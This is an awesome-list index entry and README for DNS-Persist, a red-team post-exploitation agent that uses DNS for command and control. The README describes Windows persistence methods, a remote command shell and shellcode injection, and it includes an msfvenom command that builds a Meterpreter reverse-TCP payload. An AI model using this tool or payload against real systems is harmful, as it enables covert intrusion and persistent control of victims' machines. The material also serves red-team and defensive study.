Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/0x09AL/DNS-Persist
DNS-Persist is a post-exploitation agent which uses DNS for command and control.
https://github.com/0x09AL/DNS-Persist
pentesting post-exploitation redteam
Last synced: about 2 months ago
JSON representation
DNS-Persist is a post-exploitation agent which uses DNS for command and control.
- Host: GitHub
- URL: https://github.com/0x09AL/DNS-Persist
- Owner: 0x09AL
- License: mit
- Created: 2017-11-10T15:23:49.000Z (about 7 years ago)
- Default Branch: master
- Last Pushed: 2017-11-20T08:53:25.000Z (about 7 years ago)
- Last Synced: 2024-07-31T13:15:01.482Z (4 months ago)
- Topics: pentesting, post-exploitation, redteam
- Language: C++
- Size: 174 KB
- Stars: 208
- Watchers: 14
- Forks: 65
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - 0x09AL/DNS-Persist - DNS-Persist is a post-exploitation agent which uses DNS for command and control. (C++)
README
# DNS-Persist
DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.
## Getting Started
### Author
0x09AL - https://twitter.com/0x09al
### Disclaimer
DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.
THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.
## Did I reinvent the wheel ?
There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code).
Suggestions about features and improvements are open.
## Architecture
There are two main parts:
1. DNS server
2. Agent
## Features
### Persistence mechanisms
This version has only 3 persistence mechanisms. More will be added later.
1. LogonScript persistence.
2. RunKey persistence.
3. Excel Addin persistence.
### 'Interactive' command shell
This version supports pseudo-interactive command shell that you can use to execute system commands.
### Shellcode Injection
This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.
#### Shellcode generation example
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
```
## TODO LIST
1. Add encryption. **This version does not have any encryption so take your own risks when using it.**
2. Add more persistence mechanisms.
3. Agent in different programming languages.
## Installation & Usage
### Server side
```
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
```
By default a DNS server on port 53 will be started. You can change that on the server.py file.
### Agent
I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.
Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.
The domain nameservers should point to the DNS-Persist IP address.
```
#define DOMAIN_NAME "example.com"
```
## Screenshots
1. Picture-1
2. Picture-2
3. Picture-3
4. Picture-4
